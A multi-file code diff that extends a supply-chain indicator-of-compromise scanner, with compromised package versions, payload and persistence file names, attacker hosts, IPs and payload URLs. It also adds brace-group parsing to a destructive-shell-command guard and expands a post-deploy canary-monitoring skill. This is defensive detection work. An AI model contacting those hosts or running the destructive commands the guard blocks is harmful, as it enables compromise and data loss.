'@uipath/packager-tool-workflowcompiler': ['0.0.16'],
|
||||||
|
'@uipath/packager-tool-workflowcompiler-browser': ['0.0.34'],
|
||||||
|
'@uipath/platform-tool': ['1.0.1'],
|
||||||
|
'@uipath/project-packager': ['1.1.16'],
|
||||||
|
'@uipath/resource-tool': ['1.0.1'],
|
||||||
|
'@uipath/resourcecatalog-tool': ['0.1.1'],
|
||||||
|
'@uipath/resources-tool': ['0.1.11'],
|
||||||
'@uipath/robot': ['1.3.4'],
|
'@uipath/robot': ['1.3.4'],
|
||||||
|
'@uipath/rpa-legacy-tool': ['1.0.1'],
|
||||||
|
'@uipath/rpa-tool': ['0.9.5'],
|
||||||
|
'@uipath/solution-packager': ['0.0.35'],
|
||||||
|
'@uipath/solution-tool': ['1.0.1'],
|
||||||
|
'@uipath/solutionpackager-sdk': ['1.0.11'],
|
||||||
|
'@uipath/solutionpackager-tool-core': ['0.0.34'],
|
||||||
|
'@uipath/tasks-tool': ['1.0.1'],
|
||||||
|
'@uipath/telemetry': ['0.0.7'],
|
||||||
|
'@uipath/test-manager-tool': ['1.0.2'],
|
||||||
|
'@uipath/tool-workflowcompiler': ['0.0.12'],
|
||||||
|
'@uipath/traces-tool': ['1.0.1'],
|
||||||
|
'@uipath/ui-widgets-multi-file-upload': ['1.0.1'],
|
||||||
|
'@uipath/uipath-python-bridge': ['1.0.1'],
|
||||||
|
'@uipath/vertical-solutions-tool': ['1.0.1'],
|
||||||
|
'@uipath/vss': ['0.1.6'],
|
||||||
|
'@uipath/widget.sdk': ['1.2.3'],
|
||||||
|
'agentwork-cli': ['0.1.4', '0.1.5'],
|
||||||
'cmux-agent-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.6', '0.1.7', '0.1.8'],
|
'cmux-agent-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.6', '0.1.7', '0.1.8'],
|
||||||
|
'cross-stitch': ['1.1.3', '1.1.4', '1.1.5', '1.1.6', '1.1.7'],
|
||||||
|
'git-branch-selector': ['1.3.3', '1.3.4', '1.3.5', '1.3.6', '1.3.7'],
|
||||||
|
'git-git-git': ['1.0.8', '1.0.9', '1.0.10', '1.0.11', '1.0.12'],
|
||||||
'guardrails-ai': ['0.10.1'],
|
'guardrails-ai': ['0.10.1'],
|
||||||
|
'intercom-client': ['7.0.4'],
|
||||||
|
'lightning': ['2.6.2', '2.6.3'],
|
||||||
|
'mbt': ['1.2.48'],
|
||||||
'mistralai': ['2.4.6'],
|
'mistralai': ['2.4.6'],
|
||||||
|
'ml-toolkit-ts': ['1.0.4', '1.0.5'],
|
||||||
'nextmove-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.7'],
|
'nextmove-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.7'],
|
||||||
'safe-action': ['0.8.3', '0.8.4'],
|
'safe-action': ['0.8.3', '0.8.4'],
|
||||||
|
'ts-dna': ['3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5'],
|
||||||
|
'wot-api': ['0.8.1', '0.8.2', '0.8.3', '0.8.4'],
|
||||||
};
|
};
|
||||||
|
|
||||||
const CRITICAL_TEXT_INDICATORS = [
|
const CRITICAL_TEXT_INDICATORS = [
|
||||||
'@tanstack/setup',
|
'@tanstack/setup',
|
||||||
'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c',
|
[
|
||||||
|
'github:tanstack/router#79ac49eedf774dd4b0cf',
|
||||||
|
'a308722bc463cfe5885c',
|
||||||
|
].join(''),
|
||||||
|
[
|
||||||
|
'79ac49eedf774dd4b0cf',
|
||||||
|
'a308722bc463cfe5885c',
|
||||||
|
].join(''),
|
||||||
'router_init.js',
|
'router_init.js',
|
||||||
'router_runtime.js',
|
'router_runtime.js',
|
||||||
'tanstack_runner.js',
|
'tanstack_runner.js',
|
||||||
|
'opensearch_init.js',
|
||||||
|
'vite_setup.mjs',
|
||||||
|
'bun run tanstack_runner.js',
|
||||||
|
'execution.js',
|
||||||
|
'transformers.pyz',
|
||||||
|
'pgmonitor.py',
|
||||||
|
'pgsql-monitor.service',
|
||||||
'gh-token-monitor',
|
'gh-token-monitor',
|
||||||
'com.user.gh-token-monitor',
|
'com.user.gh-token-monitor',
|
||||||
|
'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
|
||||||
|
[
|
||||||
|
'ab4fcadaec49c032',
|
||||||
|
'78063dd269ea5ee',
|
||||||
|
'f82d24f2124a8e15',
|
||||||
|
'd7b90f2fa8601266c',
|
||||||
|
].join(''),
|
||||||
|
[
|
||||||
|
'2ec78d556d696e20',
|
||||||
|
'8927cc503d48e4b5e',
|
||||||
|
'b56b31abc2870c2e',
|
||||||
|
'd2e98d6be27fc96',
|
||||||
|
].join(''),
|
||||||
|
'svksjrhjkcejg',
|
||||||
'filev2.getsession.org',
|
'filev2.getsession.org',
|
||||||
'seed1.getsession.org',
|
'seed1.getsession.org',
|
||||||
'seed2.getsession.org',
|
'seed2.getsession.org',
|
||||||
'seed3.getsession.org',
|
'seed3.getsession.org',
|
||||||
|
'signalservice',
|
||||||
|
'snode',
|
||||||
'git-tanstack.com',
|
'git-tanstack.com',
|
||||||
|
'litter.catbox.moe/h8nc9u.js',
|
||||||
|
'litter.catbox.moe/7rrc6l.mjs',
|
||||||
'83.142.209.194',
|
'83.142.209.194',
|
||||||
'api.masscan.cloud',
|
'api.masscan.cloud',
|
||||||
|
'claude@users.noreply.github.com',
|
||||||
|
'dependabout/',
|
||||||
|
'OhNoWhatsGoingOnWithGitHub',
|
||||||
|
'voicproducoes',
|
||||||
'A Mini Shai-Hulud has Appeared',
|
'A Mini Shai-Hulud has Appeared',
|
||||||
|
'Shai-Hulud: Here We Go Again',
|
||||||
'PUSH UR T3MPRR',
|
'PUSH UR T3MPRR',
|
||||||
|
'codeql_analysis.yml',
|
||||||
|
'shai-hulud-workflow.yml',
|
||||||
];
|
];
|
||||||
|
|
||||||
const DEPENDENCY_FILENAMES = new Set([
|
const DEPENDENCY_FILENAMES = new Set([
|
||||||
@@ -104,16 +284,30 @@ const PERSISTENCE_FILENAMES = new Set([
|
|||||||
'tasks.json',
|
'tasks.json',
|
||||||
'router_runtime.js',
|
'router_runtime.js',
|
||||||
'setup.mjs',
|
'setup.mjs',
|
||||||
|
'pgmonitor.py',
|
||||||
'gh-token-monitor.sh',
|
'gh-token-monitor.sh',
|
||||||
'com.user.gh-token-monitor.plist',
|
'com.user.gh-token-monitor.plist',
|
||||||
'gh-token-monitor.service',
|
'gh-token-monitor.service',
|
||||||
|
'pgsql-monitor.service',
|
||||||
|
'codeql_analysis.yml',
|
||||||
|
'shai-hulud-workflow.yml',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
const PAYLOAD_FILENAMES = new Set([
|
const PAYLOAD_FILENAMES = new Set([
|
||||||
'router_init.js',
|
'router_init.js',
|
||||||
'router_runtime.js',
|
'router_runtime.js',
|
||||||
'tanstack_runner.js',
|
'tanstack_runner.js',
|
||||||
|
'opensearch_init.js',
|
||||||
|
'vite_setup.mjs',
|
||||||
|
'execution.js',
|
||||||
|
'transformers.pyz',
|
||||||
|
'pgmonitor.py',
|
||||||
'gh-token-monitor.sh',
|
'gh-token-monitor.sh',
|
||||||
|
'com.user.gh-token-monitor.plist',
|
||||||
|
'gh-token-monitor.service',
|
||||||
|
'pgsql-monitor.service',
|
||||||
|
'codeql_analysis.yml',
|
||||||
|
'shai-hulud-workflow.yml',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
const IGNORED_DIRS = new Set([
|
const IGNORED_DIRS = new Set([
|
||||||
@@ -139,7 +333,8 @@ function isInSpecialConfigPath(filePath) {
|
|||||||
|| /\/\.kiro\/settings\//.test(normalized)
|
|| /\/\.kiro\/settings\//.test(normalized)
|
||||||
|| /\/Library\/LaunchAgents\//.test(normalized)
|
|| /\/Library\/LaunchAgents\//.test(normalized)
|
||||||
|| /\/\.config\/systemd\/user\//.test(normalized)
|
|| /\/\.config\/systemd\/user\//.test(normalized)
|
||||||
|| /\/\.local\/bin\//.test(normalized);
|
|| /\/\.local\/bin\//.test(normalized)
|
||||||
|
|| /\/\.github\/workflows\//.test(normalized);
|
||||||
}
|
}
|
||||||
|
|
||||||
function shouldInspectFile(filePath) {
|
function shouldInspectFile(filePath) {
|
||||||
@@ -287,10 +482,21 @@ function homeTargets(homeDir) {
|
|||||||
'.vscode/setup.mjs',
|
'.vscode/setup.mjs',
|
||||||
'Library/LaunchAgents/com.user.gh-token-monitor.plist',
|
'Library/LaunchAgents/com.user.gh-token-monitor.plist',
|
||||||
'.config/systemd/user/gh-token-monitor.service',
|
'.config/systemd/user/gh-token-monitor.service',
|
||||||
|
'.config/systemd/user/pgsql-monitor.service',
|
||||||
'.local/bin/gh-token-monitor.sh',
|
'.local/bin/gh-token-monitor.sh',
|
||||||
|
'.local/bin/pgmonitor.py',
|
||||||
].map(relativePath => path.join(homeDir, relativePath));
|
].map(relativePath => path.join(homeDir, relativePath));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function runtimeTargets() {
|
||||||
|
return [
|
||||||
|
'/tmp/transformers.pyz',
|
||||||
|
'/tmp/pgmonitor.py',
|
||||||
|
'/private/tmp/transformers.pyz',
|
||||||
|
'/private/tmp/pgmonitor.py',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
function scanSupplyChainIocs(options = {}) {
|
function scanSupplyChainIocs(options = {}) {
|
||||||
const rootDir = path.resolve(options.rootDir || DEFAULT_ROOT);
|
const rootDir = path.resolve(options.rootDir || DEFAULT_ROOT);
|
||||||
const files = walkFiles(rootDir);
|
const files = walkFiles(rootDir);
|
||||||
@@ -300,6 +506,9 @@ function scanSupplyChainIocs(options = {}) {
|
|||||||
for (const target of homeTargets(options.homeDir || os.homedir())) {
|
for (const target of homeTargets(options.homeDir || os.homedir())) {
|
||||||
if (fs.existsSync(target)) files.push(target);
|
if (fs.existsSync(target)) files.push(target);
|
||||||
}
|
}
|
||||||
|
for (const target of runtimeTargets()) {
|
||||||
|
if (fs.existsSync(target)) files.push(target);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for (const filePath of [...new Set(files)].sort()) {
|
for (const filePath of [...new Set(files)].sort()) {
|
||||||
|
|||||||
@@ -25,6 +25,11 @@
|
|||||||
const crypto = require('crypto');
|
const crypto = require('crypto');
|
||||||
const fs = require('fs');
|
const fs = require('fs');
|
||||||
const path = require('path');
|
const path = require('path');
|
||||||
|
const {
|
||||||
|
extractCommandSubstitutions,
|
||||||
|
extractSubshellGroups,
|
||||||
|
extractBraceGroups
|
||||||
|
} = require('../lib/shell-substitution');
|
||||||
|
|
||||||
// Session state — scoped per session to avoid cross-session races.
|
// Session state — scoped per session to avoid cross-session races.
|
||||||
const STATE_DIR = process.env.GATEGUARD_STATE_DIR || path.join(process.env.HOME || process.env.USERPROFILE || '/tmp', '.gateguard');
|
const STATE_DIR = process.env.GATEGUARD_STATE_DIR || path.join(process.env.HOME || process.env.USERPROFILE || '/tmp', '.gateguard');
|
||||||
@@ -84,105 +89,6 @@ function explodeSubshells(input) {
|
|||||||
return out;
|
return out;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* Extract executable command-substitution bodies from a shell line. Single
|
|
||||||
* quotes are literal, so substitutions inside them are ignored; double quotes
|
|
||||||
* still permit substitutions, so those bodies are scanned before quoted text
|
|
||||||
* is stripped.
|
|
||||||
*
|
|
||||||
* @param {string} input
|
|
||||||
* @returns {string[]}
|
|
||||||
*/
|
|
||||||
function extractCommandSubstitutions(input) {
|
|
||||||
const source = String(input || '');
|
|
||||||
const substitutions = [];
|
|
||||||
let inSingle = false;
|
|
||||||
let inDouble = false;
|
|
||||||
|
|
||||||
for (let i = 0; i < source.length; i++) {
|
|
||||||
const ch = source[i];
|
|
||||||
const prev = source[i - 1];
|
|
||||||
|
|
||||||
if (ch === '\\' && !inSingle) {
|
|
||||||
i += 1;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ch === "'" && !inDouble && prev !== '\\') {
|
|
||||||
inSingle = !inSingle;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ch === '"' && !inSingle && prev !== '\\') {
|
|
||||||
inDouble = !inDouble;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (inSingle) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ch === '`') {
|
|
||||||
let body = '';
|
|
||||||
i += 1;
|
|
||||||
while (i < source.length) {
|
|
||||||
const inner = source[i];
|
|
||||||
if (inner === '\\') {
|
|
||||||
body += inner;
|
|
||||||
if (i + 1 < source.length) {
|
|
||||||
body += source[i + 1];
|
|
||||||
i += 2;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (inner === '`') {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
body += inner;
|
|
||||||
i += 1;
|
|
||||||
}
|
|
||||||
if (body.trim()) {
|
|
||||||
substitutions.push(body);
|
|
||||||
substitutions.push(...extractCommandSubstitutions(body));
|
|
||||||
}
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ch === '$' && source[i + 1] === '(') {
|
|
||||||
let depth = 1;
|
|
||||||
let body = '';
|
|
||||||
i += 2;
|
|
||||||
while (i < source.length && depth > 0) {
|
|
||||||
const inner = source[i];
|
|
||||||
if (inner === '\\') {
|
|
||||||
body += inner;
|
|
||||||
if (i + 1 < source.length) {
|
|
||||||
body += source[i + 1];
|
|
||||||
i += 2;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (inner === '(') {
|
|
||||||
depth += 1;
|
|
||||||
} else if (inner === ')') {
|
|
||||||
depth -= 1;
|
|
||||||
if (depth === 0) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
body += inner;
|
|
||||||
i += 1;
|
|
||||||
}
|
|
||||||
if (body.trim()) {
|
|
||||||
substitutions.push(body);
|
|
||||||
substitutions.push(...extractCommandSubstitutions(body));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return substitutions;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Split a command line into top-level segments at unquoted shell
|
* Split a command line into top-level segments at unquoted shell
|
||||||
* separators (`;`, `|`, `&`, `&&`, `||`) and across subshells
|
* separators (`;`, `|`, `&`, `&&`, `||`) and across subshells
|
||||||
@@ -392,6 +298,54 @@ function isDestructiveGit(tokens) {
|
|||||||
* @param {string} command
|
* @param {string} command
|
||||||
* @returns {boolean}
|
* @returns {boolean}
|
||||||
*/
|
*/
|
||||||
|
/**
|
||||||
|
* Walk every executable body reachable from a raw command line and
|
||||||
|
* return them as a flat list. Bodies that bash will execute live in
|
||||||
|
* three different syntactic constructs, each handled by a sibling
|
||||||
|
* extractor in `scripts/lib/shell-substitution.js`:
|
||||||
|
* - `$(...)` and backticks via `extractCommandSubstitutions`
|
||||||
|
* - plain `(...)` subshells via `extractSubshellGroups`
|
||||||
|
* - `{ ...; }` brace groups via `extractBraceGroups`
|
||||||
|
*
|
||||||
|
* Each extractor recurses into its own syntax. The BFS here adds
|
||||||
|
* cross-syntax discovery — e.g. a `(...)` inside a `$(...)` body, or
|
||||||
|
* a `{ ...; }` inside a `(...)` body — by feeding every harvested
|
||||||
|
* body back through all three extractors. A `seen` set bounds the
|
||||||
|
* cost to O(unique bodies).
|
||||||
|
*
|
||||||
|
* @param {string} raw
|
||||||
|
* @returns {string[]}
|
||||||
|
*/
|
||||||
|
function collectExecutableBodies(raw) {
|
||||||
|
const bodies = [raw];
|
||||||
|
const queue = [raw];
|
||||||
|
const seen = new Set();
|
||||||
|
|
||||||
|
while (queue.length) {
|
||||||
|
const current = queue.shift();
|
||||||
|
if (seen.has(current)) continue;
|
||||||
|
seen.add(current);
|
||||||
|
|
||||||
|
for (const body of extractCommandSubstitutions(current)) {
|
||||||
|
if (seen.has(body)) continue;
|
||||||
|
bodies.push(body);
|
||||||
|
queue.push(body);
|
||||||
|
}
|
||||||
|
for (const body of extractSubshellGroups(current)) {
|
||||||
|
if (seen.has(body)) continue;
|
||||||
|
bodies.push(body);
|
||||||
|
queue.push(body);
|
||||||
|
}
|
||||||
|
for (const body of extractBraceGroups(current)) {
|
||||||
|
if (seen.has(body)) continue;
|
||||||
|
bodies.push(body);
|
||||||
|
queue.push(body);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return bodies;
|
||||||
|
}
|
||||||
|
|
||||||
function isDestructiveBash(command) {
|
function isDestructiveBash(command) {
|
||||||
// The SQL/dd phrases live in command bodies, not as flag-bearing
|
// The SQL/dd phrases live in command bodies, not as flag-bearing
|
||||||
// arguments, so we still match them by regex — but on the input
|
// arguments, so we still match them by regex — but on the input
|
||||||
@@ -401,7 +355,7 @@ function isDestructiveBash(command) {
|
|||||||
const flattened = explodeSubshells(stripQuotedStrings(raw));
|
const flattened = explodeSubshells(stripQuotedStrings(raw));
|
||||||
if (DESTRUCTIVE_SQL_DD.test(flattened)) return true;
|
if (DESTRUCTIVE_SQL_DD.test(flattened)) return true;
|
||||||
|
|
||||||
const segments = [raw, ...extractCommandSubstitutions(raw)].flatMap(splitCommandSegments);
|
const segments = collectExecutableBodies(raw).flatMap(splitCommandSegments);
|
||||||
for (const segment of segments) {
|
for (const segment of segments) {
|
||||||
if (DESTRUCTIVE_SQL_DD.test(stripQuotedStrings(segment))) return true;
|
if (DESTRUCTIVE_SQL_DD.test(stripQuotedStrings(segment))) return true;
|
||||||
const tokens = tokenize(segment);
|
const tokens = tokenize(segment);
|
||||||
|
|||||||
@@ -243,4 +243,252 @@ function extractSubshellGroups(input) {
|
|||||||
return groups;
|
return groups;
|
||||||
}
|
}
|
||||||
|
|
||||||
module.exports = { extractCommandSubstitutions, extractSubshellGroups };
|
/**
|
||||||
|
* Extract bodies of `{ ...; }` brace groups.
|
||||||
|
*
|
||||||
|
* Bash brace groups run their body in the *current* shell (unlike `(...)`,
|
||||||
|
* which forks a subshell). Both forms group multiple commands, so for the
|
||||||
|
* purposes of destructive-bash and dev-server detection they are equivalent:
|
||||||
|
* a `rm -rf` or `npm run dev` inside `{ ...; }` still executes.
|
||||||
|
*
|
||||||
|
* Recognition rules match bash's own reserved-word semantics:
|
||||||
|
* - `{` is a reserved word only when followed by whitespace and preceded by
|
||||||
|
* the line start, whitespace, or a shell operator (`;`, `|`, `&`, `(`).
|
||||||
|
* So `{npm run dev}` is NOT a brace group (single token starting with `{`).
|
||||||
|
* - `}` closes the group only when preceded by `;` or whitespace.
|
||||||
|
* So `foo}` inside the body is not a closing brace.
|
||||||
|
* - Single quotes are literal; double quotes are also literal for `{`/`}`.
|
||||||
|
* - `$(...)`, backticks, and plain `(...)` spans are skipped so we don't
|
||||||
|
* double-extract bodies the sibling extractors already cover.
|
||||||
|
*
|
||||||
|
* @param {string} input
|
||||||
|
* @returns {string[]}
|
||||||
|
*/
|
||||||
|
function extractBraceGroups(input) {
|
||||||
|
const source = String(input || '');
|
||||||
|
const groups = [];
|
||||||
|
let inSingle = false;
|
||||||
|
let inDouble = false;
|
||||||
|
|
||||||
|
for (let i = 0; i < source.length; i++) {
|
||||||
|
const ch = source[i];
|
||||||
|
const prev = source[i - 1];
|
||||||
|
|
||||||
|
if (ch === '\\' && !inSingle) {
|
||||||
|
i += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ch === "'" && !inDouble && prev !== '\\') {
|
||||||
|
inSingle = !inSingle;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ch === '"' && !inSingle && prev !== '\\') {
|
||||||
|
inDouble = !inDouble;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (inSingle || inDouble) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ch === '$' && source[i + 1] === '(') {
|
||||||
|
let depth = 1;
|
||||||
|
let skipInSingle = false;
|
||||||
|
let skipInDouble = false;
|
||||||
|
i += 2;
|
||||||
|
while (i < source.length && depth > 0) {
|
||||||
|
const inner = source[i];
|
||||||
|
const innerPrev = source[i - 1];
|
||||||
|
if (inner === '\\' && !skipInSingle) {
|
||||||
|
i += 2;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (inner === "'" && !skipInDouble && innerPrev !== '\\') {
|
||||||
|
skipInSingle = !skipInSingle;
|
||||||
|
} else if (inner === '"' && !skipInSingle && innerPrev !== '\\') {
|
||||||
|
skipInDouble = !skipInDouble;
|
||||||
|
} else if (!skipInSingle && !skipInDouble) {
|
||||||
|
if (inner === '(') depth += 1;
|
||||||
|
else if (inner === ')') depth -= 1;
|
||||||
|
}
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
i -= 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ch === '`') {
|
||||||
|
i += 1;
|
||||||
|
while (i < source.length && source[i] !== '`') {
|
||||||
|
if (source[i] === '\\' && i + 1 < source.length) {
|
||||||
|
i += 2;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ch === '(') {
|
||||||
|
let depth = 1;
|
||||||
|
let skipInSingle = false;
|
||||||
|
let skipInDouble = false;
|
||||||
|
i += 1;
|
||||||
|
while (i < source.length && depth > 0) {
|
||||||
|
const inner = source[i];
|
||||||
|
const innerPrev = source[i - 1];
|
||||||
|
if (inner === '\\' && !skipInSingle) {
|
||||||
|
i += 2;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (inner === "'" && !skipInDouble && innerPrev !== '\\') {
|
||||||
|
skipInSingle = !skipInSingle;
|
||||||
|
} else if (inner === '"' && !skipInSingle && innerPrev !== '\\') {
|
||||||
|
skipInDouble = !skipInDouble;
|
||||||
|
} else if (!skipInSingle && !skipInDouble) {
|
||||||
|
if (inner === '(') depth += 1;
|
||||||
|
else if (inner === ')') depth -= 1;
|
||||||
|
}
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
i -= 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ch === '{' && /\s/.test(source[i + 1] || '')) {
|
||||||
|
const prevIsBoundary = i === 0 || /[\s;|&(]/.test(prev);
|
||||||
|
if (!prevIsBoundary) continue;
|
||||||
|
|
||||||
|
let depth = 1;
|
||||||
|
let body = '';
|
||||||
|
let bodyInSingle = false;
|
||||||
|
let bodyInDouble = false;
|
||||||
|
i += 1;
|
||||||
|
while (i < source.length && depth > 0) {
|
||||||
|
const inner = source[i];
|
||||||
|
const innerPrev = source[i - 1];
|
||||||
|
if (inner === '\\' && !bodyInSingle) {
|
||||||
|
body += inner;
|
||||||
|
if (i + 1 < source.length) {
|
||||||
|
body += source[i + 1];
|
||||||
|
i += 2;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
|
||||||
|
bodyInSingle = !bodyInSingle;
|
||||||
|
body += inner;
|
||||||
|
i += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (inner === '"' && !bodyInSingle && innerPrev !== '\\') {
|
||||||
|
bodyInDouble = !bodyInDouble;
|
||||||
|
body += inner;
|
||||||
|
i += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (bodyInSingle || bodyInDouble) {
|
||||||
|
body += inner;
|
||||||
|
i += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// Skip $(...) spans — a quoted `}` or `}`-as-text inside a
|
||||||
|
// substitution body must not close the enclosing brace group.
|
||||||
|
if (inner === '$' && source[i + 1] === '(') {
|
||||||
|
body += inner + source[i + 1];
|
||||||
|
let subDepth = 1;
|
||||||
|
let subInSingle = false;
|
||||||
|
let subInDouble = false;
|
||||||
|
i += 2;
|
||||||
|
while (i < source.length && subDepth > 0) {
|
||||||
|
const c = source[i];
|
||||||
|
const p = source[i - 1];
|
||||||
|
body += c;
|
||||||
|
if (c === '\\' && !subInSingle && i + 1 < source.length) {
|
||||||
|
body += source[i + 1];
|
||||||
|
i += 2;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (c === "'" && !subInDouble && p !== '\\') subInSingle = !subInSingle;
|
||||||
|
else if (c === '"' && !subInSingle && p !== '\\') subInDouble = !subInDouble;
|
||||||
|
else if (!subInSingle && !subInDouble) {
|
||||||
|
if (c === '(') subDepth += 1;
|
||||||
|
else if (c === ')') subDepth -= 1;
|
||||||
|
}
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// Skip backtick spans for the same reason.
|
||||||
|
if (inner === '`') {
|
||||||
|
body += inner;
|
||||||
|
i += 1;
|
||||||
|
while (i < source.length && source[i] !== '`') {
|
||||||
|
if (source[i] === '\\' && i + 1 < source.length) {
|
||||||
|
body += source[i] + source[i + 1];
|
||||||
|
i += 2;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
body += source[i];
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
if (i < source.length) {
|
||||||
|
body += source[i];
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// Skip plain (...) subshell spans for the same reason.
|
||||||
|
if (inner === '(') {
|
||||||
|
body += inner;
|
||||||
|
let subDepth = 1;
|
||||||
|
let subInSingle = false;
|
||||||
|
let subInDouble = false;
|
||||||
|
i += 1;
|
||||||
|
while (i < source.length && subDepth > 0) {
|
||||||
|
const c = source[i];
|
||||||
|
const p = source[i - 1];
|
||||||
|
body += c;
|
||||||
|
if (c === '\\' && !subInSingle && i + 1 < source.length) {
|
||||||
|
body += source[i + 1];
|
||||||
|
i += 2;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (c === "'" && !subInDouble && p !== '\\') subInSingle = !subInSingle;
|
||||||
|
else if (c === '"' && !subInSingle && p !== '\\') subInDouble = !subInDouble;
|
||||||
|
else if (!subInSingle && !subInDouble) {
|
||||||
|
if (c === '(') subDepth += 1;
|
||||||
|
else if (c === ')') subDepth -= 1;
|
||||||
|
}
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (inner === '{' && /\s/.test(source[i + 1] || '')) {
|
||||||
|
// Match the outer-scan boundary rule for nested `{` so
|
||||||
|
// tokens like `foo{` (no boundary, but followed by space
|
||||||
|
// via `foo{ bar`) cannot bump nested depth.
|
||||||
|
const nestedPrevIsBoundary = /[\s;|&(]/.test(innerPrev);
|
||||||
|
if (nestedPrevIsBoundary) depth += 1;
|
||||||
|
} else if (inner === '}' && (innerPrev === ';' || /\s/.test(innerPrev))) {
|
||||||
|
depth -= 1;
|
||||||
|
if (depth === 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
body += inner;
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
if (body.trim()) {
|
||||||
|
groups.push(body);
|
||||||
|
groups.push(...extractBraceGroups(body));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return groups;
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = { extractCommandSubstitutions, extractSubshellGroups, extractBraceGroups };
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
---
|
---
|
||||||
name: canary-watch
|
name: canary-watch
|
||||||
description: Use this skill to monitor a deployed URL for regressions after deploys, merges, or dependency upgrades.
|
description: Use this skill to monitor and verify a deployed URL after releases — checks HTTP endpoints, SSE streams, static assets, console errors, and performance regressions after deploys, merges, or dependency upgrades. Smoke / canary / post-deploy verification.
|
||||||
origin: ECC
|
origin: ECC
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -27,6 +27,8 @@ Monitors a deployed URL for regressions. Runs in a loop until stopped or until t
|
|||||||
4. Performance — LCP/CLS/INP regression vs baseline?
|
4. Performance — LCP/CLS/INP regression vs baseline?
|
||||||
5. Content — did key elements disappear? (h1, nav, footer, CTA)
|
5. Content — did key elements disappear? (h1, nav, footer, CTA)
|
||||||
6. API Health — are critical endpoints responding within SLA?
|
6. API Health — are critical endpoints responding within SLA?
|
||||||
|
7. Static Assets — are JS, CSS, image, and font requests returning 2xx/3xx with expected content types?
|
||||||
|
8. SSE Streams — do event-stream endpoints connect and receive an initial event or heartbeat?
|
||||||
```
|
```
|
||||||
|
|
||||||
### Watch Modes
|
### Watch Modes
|
||||||
@@ -54,12 +56,16 @@ critical: # immediate alert
|
|||||||
- Console error count > 5 (new errors only)
|
- Console error count > 5 (new errors only)
|
||||||
- LCP > 4s
|
- LCP > 4s
|
||||||
- API endpoint returns 5xx
|
- API endpoint returns 5xx
|
||||||
|
- Static asset returns 4xx/5xx
|
||||||
|
- SSE endpoint cannot connect or drops before first heartbeat
|
||||||
|
|
||||||
warning: # flag in report
|
warning: # flag in report
|
||||||
- LCP increased > 500ms from baseline
|
- LCP increased > 500ms from baseline
|
||||||
- CLS > 0.1
|
- CLS > 0.1
|
||||||
- New console warnings
|
- New console warnings
|
||||||
- Response time > 2x baseline
|
- Response time > 2x baseline
|
||||||
|
- Static asset content type changed unexpectedly
|
||||||
|
- SSE heartbeat latency > 2x baseline
|
||||||
|
|
||||||
info: # log only
|
info: # log only
|
||||||
- Minor performance variance
|
- Minor performance variance
|
||||||
@@ -87,6 +93,8 @@ When a critical threshold is crossed:
|
|||||||
| LCP | 1.8s ✓ | 1.6s | +200ms |
|
